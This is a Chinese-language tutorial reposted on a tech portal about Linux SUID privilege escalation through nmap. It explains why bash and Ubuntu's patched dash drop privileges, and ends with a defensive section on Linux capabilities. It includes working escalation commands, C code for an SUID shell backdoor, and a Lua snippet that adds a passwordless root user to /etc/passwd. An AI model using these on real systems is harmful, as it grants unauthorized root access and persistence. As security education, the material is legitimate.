您当前的位置:首页 > 电脑百科 > 安全防护 > 服务器/网站

黑客大神谈一谈Linux与suid提权

时间:2020-08-25 16:11:43  来源:  作者:

前几天我在代码审计知识星球里发表了一个介绍nmap利用interactive模式提权的帖子:

# 进入nmap的交互模式
nmap --interactive
# 执行sh,提权成功
!sh

但具体实施的时候会遇到很多有趣的问题,我们来详细研究一下。

suid提权

说到这个话题,我们不得不先介绍一下两个东西:

• suid提权是什么

• nmap为什么可以使用suid提权

通常来说,linux运行一个程序,是使用当前运行这个程序的用户权限,这当然是合理的。但是有一些程序比较特殊,比如我们常用的ping命令。

ping需要发送ICMP报文,而这个操作需要发送Raw Socket。在Linux 2.2引入CAPABILITIES前,使用Raw Socket是需要root权限的(当然不是说引入CAPABILITIES就不需要权限了,而是可以通过其他方法解决,这个后说),所以你如果在一些老的系统里ls -al $(which ping),可以发现其权限是-rwsr-xr-x,其中有个s位,这就是suid:

root@linux:~# ls -al /bin/ping
-rwsr-xr-x 1 root root 44168 May 7 2014 /bin/ping

suid全称是Set owner User ID up on execution。这是Linux给可执行文件的一个属性,上述情况下,普通用户之所以也可以使用ping命令,原因就在我们给ping这个可执行文件设置了suid权限。

设置了s位的程序在运行时,其Effective UID将会设置为这个程序的所有者。比如,/bin/ping这个程序的所有者是0(root),它设置了s位,那么普通用户在运行ping时其Effective UID就是0,等同于拥有了root权限。

这里引入了一个新的概念Effective UID。Linux进程在运行时有三个UID:

• Real UID 执行该进程的用户实际的UID

• Effective UID 程序实际操作时生效的UID(比如写入文件时,系统会检查这个UID是否有权限)

• Saved UID 在高权限用户降权后,保留的其原本UID(本文中不对这个UID进行深入探讨)

通常情况下Effective UID和Real UID相等,所以普通用户不能写入只有UID=0号才可写的/etc/passwd;在suid的程序启动时,Effective UID就等于二进制文件的所有者,此时Real UID就可能和Effective UID不相等了。

有的同学说某某程序只要有suid权限,就可以提权,这个说法其实是不准确的。只有这个程序的所有者是0号或其他super user,同时拥有suid权限,才可以提权。

nmap为什么可以用suid提权

常用nmap的同学就知道,如果你要进行UDP或TCP SYN扫描,需要有root权限:

$ nmap -sU target
You requested a scan type which requires root privileges.
QUITTING!
$ nmap -sS 127.0.0.1
You requested a scan type which requires root privileges.
QUITTING!

原因就是这些操作会用到Raw Socket。

有时候你不得不使用sudo来执行nmap,但在脚本调用nmap时sudo又需要tty,有可能还要输入密码,这个限制在很多情况下会造成一些不必要的麻烦。

所以,有一些管理员会给nmap加上suid权限,这样普通用户就可以随便运行nmap了。

当然,增加了s位的nmap是不安全的,我们可以利用nmap提权。在nmap 5.20以前存在interactive交互模式,我们可以通过这个模式来提权:

黑客大神谈一谈Linux与suid提权

 

星球里@A11risefor*师傅提到,nmap 5.20以后可以通过加载自定义script的方式来执行命令:

补充一个,--interactive应该是比较老版本的nmap提供的选项,最近的nmap上都没有这个选项了,不过可以写一个nse脚本,内容为os.execute('/bin/sh'),然后nmap --script=shell.nse来提权

的确是一个非常及时的补充,因为现在大部分的nmap都是没有interactive交互模式了。

但经过测试我们发现,这个方法启动的shell似乎仍然是当前用户的,并没有我们想象中的提权。

Linux发行版与shell

我曾使用interactive模式提权成功,但是因为那个nmap版本过老,没有script支持,所以没法测试script的提权方法;同样,新的nmap支持script但又没有interactive模式,无法做直观对比,我只能先猜想提权失败的原因:

• nmap在高版本中限制了suid权限

• lua脚本中限制了suid权限

• 新版Linux系统对子进程的suid权限进行了限制

这些猜想中变量太多,所以我需要控制一下。首先我阅读了老版本nmap的源码,发现其实!sh执行的就是很简单的system('sh'),而且前面并没用丢弃Effective UID权限的操作:

} else if (*myargv[0] == '!') {
cptr = strchr(command, '!');
system(cptr + 1);
}

那么我们将这个过程抽象成这么一个C程序suid.c:

int main(int argc, char* argv[]) {
return system(argv[1]);
}

编译,并赋予其suid权限:

root@linux:/tmp# gcc suid.c -o suid
root@linux:/tmp# chmod +s suid

接着我尝试在不同系统中,用www-data用户运行./suid id:

Linux发行版

Ubuntu 14.04

Ubuntu 16.04

Ubuntu 18.04

centos 6

CentOS 8

Debian 6

Debian 8

Kali 2019

可见,有些系统是root权限,有些系统仍然是原本用户权限。那么上面nmap提权失败的原因,就可以排除nmap的原因了。

同样,CentOS 6和Debian 6都是较老的发行版,但CentOS 6的表现却和新版Ubuntu类似,经过网上的询问和翻文档,得到了bash中的这么一段说明:

If the shell is started with the effective user (group) id not equal to the real user (group) id, and the -p option is not supplied, no startup files are read, shell functions are not inherited from the environment, the SHELLOPTSBASHOPTSCDPATH, and GLOBIGNORE variables, if they Appear in the environment, are ignored, and the effective user id is set to the real user id. If the -p option is supplied at invocation, the startup behavior is the same, but the effective user id is not reset.

如果启动bash时的Effective UID与Real UID不相同,而且没有使用-p参数,则bash会将Effective UID还原成Real UID。

我们知道,Linux的system()函数实际上是执行的/bin/sh -c,而CentOS的/bin/sh是指向了/bin/bash:

[root@localhost tmp]# ls -al /bin/sh
lrwxrwxrwx. 1 root root 4 Apr 10 2017 /bin/sh -> bash

这就解释了为什么CentOS中suid程序执行id获得的结果仍然是www-data。假设我们此时将sh修改成dash,看看结果是什么:

[root@localhost tmp]# su -s /bin/bash nobody
bash-4.1$ ls -al /bin/sh
lrwxrwxrwx. 1 root root 9 Feb 19 00:21 /bin/sh -> /bin/dash
bash-4.1$ ./suid id
uid=99(nobody) gid=99(nobody) euid=0(root) egid=0(root) groups=0(root),99(nobody) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023

dash并没有限制Effective UID,这里可以看到成功获取了root权限。

Ubuntu的特殊处理

但是,我们来看看Ubuntu 16.04,其/bin/sh指向的同样是dash:

$ ls -al /bin/sh
lrwxrwxrwx 1 root root 4 9月 18 2016 /bin/sh -> dash
$ ls -al /bin/dash
-rwxr-xr-x 1 root root 154072 2月 17 2016 /bin/dash

为什么仍然会出现无法提权的情况?

此时我们又需要了解另一个知识了。通常来说,类似Ubuntu这样的发行版都会对一些程序进行修改,比如我们平时在查看php版本的时候,经常会看到这样的banner:PHP 7.0.33-0ubuntu0.16.04.11,在官方的版本号后会带上Ubuntu的一些版本号,这是因为Ubuntu发行版在打包这些软件时会增加一些自己的代码。

那么我们可以来看看Ubuntu 16.04源中dash目录:

黑客大神谈一谈Linux与suid提权

 

下载其中的dash_0.5.8.orig.tar.gz和dash_0.5.8-2.1ubuntu2.diff.gz并分别解压,我们可以看到dash 0.5.8的原始代码,和Ubuntu对其做的patch。

我们对原始代码进行patch后,会发现多了一个setprivileged函数:

void setprivileged(int on)
{
static int is_privileged = 1;
if (is_privileged == on)
return;
is_privileged = on;
/*
* To limit bogus system(3) or popen(3) calls in setuid binaries, require
* -p flag to work in this situation.
*/
if (!on && (uid != geteuid() || gid != getegid())) {
setuid(uid);
setgid(gid);
/* PS1 might need to be changed accordingly. */
choose_ps1();
}
}

on的取值取决于用户是否传入了-p参数, 而uid和gid就是当前进程的Real UID(GID)。可见,在on为false,且Real UID 不等于Effective UID的情况下,这里重新设置了进程的UID:

setuid(uid)

setuid函数用于设置当前进程的Effective UID,如果当前进程是root权限或拥有CAP_SETUID权限,则Real UID和Saved UID将被一起设置。

所以,可以看出,Ubuntu发行版官方对dash进行了修改:当dash以suid权限运行、且没有指定-p选项时,将会丢弃suid权限,恢复当前用户权限。

这样一来,dash在suid的表现上就和bash相同了,这也就解释了为什么在Ubuntu 16.04以后,我们无法直接使用SUID+system()的方式来提权。

如何突破限制?

同样的,你下载Debian 10最新的dash,也可以看到类似代码。那么,为什么各大发行版分分在sh中增加了这个限制呢?

我们可以将其理解为是Linux针对suid提权方式的一种遏制。因为通常来说,很多命令注入漏洞都是发生在system()和popen()函数中的,而这些函数依赖于系统的/bin/sh。相比CentOS来说,Ubuntu和Debian中的sh一直都是dash,也就一直受到suid提权漏洞的影响。

一旦拥有suid的程序存在命令注入漏洞或其本身存在执行命令的功能,那么就有本地提权的风险,如果在sh中增加这个限制,提权的隐患就能被极大地遏制。

那么,如果我们就是要留一个具有suid的shell作为后门,我们应该怎么做?

将之前的suid.c做如下修改:

int main(int argc, char* argv[]) {
setuid(0);
system(argv[1]);
}

编译和执行,我们就可以发现,id命令输出的uid就是0了:

黑客大神谈一谈Linux与suid提权

 

原因是我们将当前进程的Real UID也修改成了0,Real UID和Effective UID相等,在进入dash后就不会被降权了。

另一种方法,我们可以给dash或bash增加-p选项,让其不对shell降权。但这里要注意,我们不能再使用system函数了,因为system()内部执行的是/bin/sh -c,我们只能控制-c的参数值,无法给sh中增加-p选项。

这里我们可以使用execl或其他exec系列函数:

int main(int argc, char* argv[]) {
return execl("/bin/sh", "sh", "-p", "-c", argv[1], (char *)0);
}

此时输出结果类似于Ubuntu 14.04里的结果,因为我给sh加了-p参数:

黑客大神谈一谈Linux与suid提权

 

再回到我们最初的问题:那么具有suid权限的nmap在Ubuntu 18.04或类似系统中我们如何进行提权呢?

因为nmap script中使用的是lua语言,而lua库中似乎没有直接启动进程的方式,都会依赖系统shell,所以我们可能并不能直接通过执行shell的方式来提权。但是因为此时nmap已经是root权限,我们可以通过修改/etc/passwd的方式来添加一个新的super user:

local file = io.open("/etc/passwd", "a")
file:write("root2::0:0::/root:/bin/bashn")
file:close()

成功提权:

黑客大神谈一谈Linux与suid提权

 

如何让系统变得更安全

作为一个系统的运维人员,我们如何来防御类似的suid提权攻击呢?

当然我们需要先感谢Linux内核和Ubuntu和Debian等发行版的开发人员,他们也在慢慢帮我们不断提高系统的安全性和稳定性,但类似于nmap这样功能强大的软件,我们无法奢求一律Secure By Default,所以必须学习一些更有趣的知识。

Linux 2.2以后增加了capabilities的概念,可以理解为水平权限的分离。以往如果需要某个程序的某个功能需要特权,我们就只能使用root来执行或者给其增加SUID权限,一旦这样,我们等于赋予了这个程序所有的特权,这是不满足权限最小化的要求的;在引入capabilities后,root的权限被分隔成很多子权限,这就避免了滥用特权的问题,我们可以在capabilities(7) - Linux manual page中看到这些特权的说明。

类似于ping和nmap这样的程序,他们其实只需要网络相关的特权即可。所以,如果你在Kali下查看ping命令的capabilities,你会看到一个cap_net_raw:

$ ls -al /bin/ping
-rwxr-xr-x 1 root root 73496 Oct 5 22:34 /bin/ping
$ getcap /bin/ping
/bin/ping = cap_net_raw+ep

这就是为什么kali的ping命令无需设置setuid权限,却仍然可以以普通用户身份运行的原因。

同样,我们也可以给nmap增加类似的capabilities:

sudo setcap cap_net_raw,cap_net_admin,cap_net_bind_service+eip /usr/bin/nmap
nmap --privileged -sS 192.168.1.1

再次使用TCP SYN扫描时就不会出现权限错误的情况了:

 

黑客大神谈一谈Linux与suid提权

 

原文地址:https://xz.aliyun.com/t/7258



Tags:提权   点击:()  评论:()
声明:本站部分内容及图片来自互联网,转载是出于传递更多信息之目的,内容观点仅代表作者本人,如有任何标注错误或版权侵犯请与我们联系(Email:2595517585@qq.com),我们将及时更正、删除,谢谢。
▌相关推荐
yum -y install gcc automake autoconf libtool makeadduser testpasswd testmkdir /tmp/exploitln -s /usr/bin/ping /tmp/exploit/targetexec 3< /tmp/exploit/targetls -...【详细内容】
2021-12-22  Tags: 提权  点击:(7)  评论:(0)  加入收藏
近期在学习Linux提权,完成了vulnhub上的42challenge靶场。该靶场在web渗透阶段表现的中规中矩,但在获得shell后的提权过程中,表现很出色。提权题目设计的逻辑严谨(不会出现突然的脑洞让你卡住),注重基础知识的考察,要求的知...【详细内容】
2021-03-18  Tags: 提权  点击:(225)  评论:(0)  加入收藏
前段时间,sudo被曝不要密码就可进行root提权的漏洞引起一片哗然,众多公司纷纷连夜打补丁来避免损失。FreeBuf也对此进行了相应的报道《不用密码就能获取root权限?sudo被曝新漏...【详细内容】
2021-03-16  Tags: 提权  点击:(135)  评论:(0)  加入收藏
0x001 linux提权描述大多数计算机系统设计为可与多个用户一起使用。特权是指允许用户执行的操作。普通特权包括查看和编辑文件或修改系统文件。特权升级意味着用户获得他们...【详细内容】
2020-11-04  Tags: 提权  点击:(155)  评论:(0)  加入收藏
当拿到WebShell 之后,下⼀步⼲什么?权限提升通过一些最初的漏洞利⽤途径,攻击者将获得⼀定的访问权限。接着,攻击者将逐步探查其破坏的系统来获得⽐最初更多的权限,以期望从其他...【详细内容】
2020-09-14  Tags: 提权  点击:(197)  评论:(0)  加入收藏
前几天我在代码审计知识星球里发表了一个介绍nmap利用interactive模式提权的帖子:# 进入nmap的交互模式 nmap --interactive # 执行sh,提权成功 !sh但具体实施的时候会遇到很...【详细内容】
2020-08-25  Tags: 提权  点击:(191)  评论:(0)  加入收藏
0x01、前言菜鸡一枚,标题起的可能有点大,只是个人笔记整理的一个合集(所以基本每个例子都会有实例)。所以虽然说是合集,可能都没有囊括到各位大佬会的一半。还请各位大佬轻喷 0x0...【详细内容】
2020-08-13  Tags: 提权  点击:(187)  评论:(0)  加入收藏
1.欺骗 "NT AUTHORITY\SYSTEM"账户通过NTLM认证到我们控制的TCP终端。当前我获得了一个普通域用户权限的shell,利用令牌窃取进行提权,提权到管理员权限。哈哈,提 权好简单。胡...【详细内容】
2020-07-23  Tags: 提权  点击:(190)  评论:(0)  加入收藏
**Github地址:https://github.com/r35tart/PenetrationTestingCase-----------------------------------------------------漏洞详情:**低危SSRF漏洞漏洞域名:http://xxxxxxxxx...【详细内容】
2020-07-06  Tags: 提权  点击:(82)  评论:(0)  加入收藏
1、 溢出漏洞就像杯子里装水,水多了杯子装不进去,就会把里面的水溢出来.而相对计算机来说计算机有个地方叫缓存区,程序的缓存区长度是被事先设定好的,如果用户输入的数据超...【详细内容】
2020-03-09  Tags: 提权  点击:(106)  评论:(0)  加入收藏
▌简易百科推荐
在最近的一波攻击中,黑客利用多个插件中未修补的漏洞攻击了 160 万个 WordPress 网站。 易受攻击的插件对 WordPress 网站产生了的巨大攻击数据。 Wordfence 最近发现 WordPr...【详细内容】
2021-12-16  蚁安    Tags:WordPress   点击:(8)  评论:(0)  加入收藏
事件起因从安全分析系统里面发现一条带有病毒的下载,然后针对这条记录展开了一系列的分析分析过程1.登录到被感染服务器,查看系统状况,hadoop 这个用户在 2020/6/18 20:32 从这...【详细内容】
2021-11-23  Z2990Lig    Tags:SSH   点击:(32)  评论:(0)  加入收藏
1、除了服务器需要用的一些正规软件,其它都不要安装。2、在用户中把administrator改名,这样做的目的是即使对方暴破了我们的密码用户名也不容易猜住,相当于又加了一道关卡。...【详细内容】
2021-11-01  IT小哥吧    Tags:服务器   点击:(37)  评论:(0)  加入收藏
账户安全(1)更名administrator本地用户并禁用guest账户步骤:点击“开始”,找到“管理工具”,点击里面的“计算机管理”,找到“本地用户和组” (2)设定账户锁定策略尝试5次失败...【详细内容】
2021-10-12  Kali与编程  今日头条  Tags:Windows主机   点击:(62)  评论:(0)  加入收藏
本文主要介绍以Microsoft的Windows Server 2019 ,版本:Datacenter(Domain Controller)安全加固保护.企业随着规模不断扩大,业务增多,信息安全建设是企业里一条只有重点没有终点...【详细内容】
2021-09-17  Vireshark    Tags:服务器安全   点击:(64)  评论:(0)  加入收藏
目录常见共享命令IPC$IPC$的利用条件1:开启了139、445端口2:目标主机开启了IPC$共享3:IPC连接报错IPC空连接空连接可以做什么?(毫无作用)IPC$非空连接IPC$非空连接可以做什么?di...【详细内容】
2021-09-16  网络说安全    Tags:系统安全   点击:(86)  评论:(0)  加入收藏
昨天一个老哥找到我,说他的服务器这几天一直被CC攻击,问我这边有没有什么解决的方法? 近年来,网络攻击事件越来越频繁,最常见的就是CC攻击和DDOS攻击,主要的区别就是针对的对象不...【详细内容】
2021-09-10  小蚁GDRAGON    Tags:cc攻击   点击:(58)  评论:(0)  加入收藏
网站页面上的登录操作,通常都是输入帐号密码,传输至网站后台验证。在网站页面、数据传输中,通过技术手段,都可以得到用户输入的信息,并可以修改,从而发起网络攻击。典型的如:使用自...【详细内容】
2021-08-30  修丹道的程序猿    Tags:登录方式   点击:(62)  评论:(0)  加入收藏
网络安全研究人员披露了一类影响主要 DNS 即服务 (DNSaaS) 提供商的新漏洞,这些漏洞可能允许攻击者从企业网络中窃取敏感信息。基础设施安全公司 Wiz 的研究人员 Shir Tamar...【详细内容】
2021-08-12  零日时代    Tags:漏洞   点击:(66)  评论:(0)  加入收藏
001暴力破解1. 指定用户名爆破密码传统型爆破思路,用户名可以通过猜测或者信息收集获得。猜测:admin、网站域名等信息收集:新闻发布人、whoami等2. 指定密码爆破用户名如果是后...【详细内容】
2021-07-23  KaliMa  今日头条  Tags:登陆框   点击:(85)  评论:(0)  加入收藏
最新更新
栏目热门
栏目头条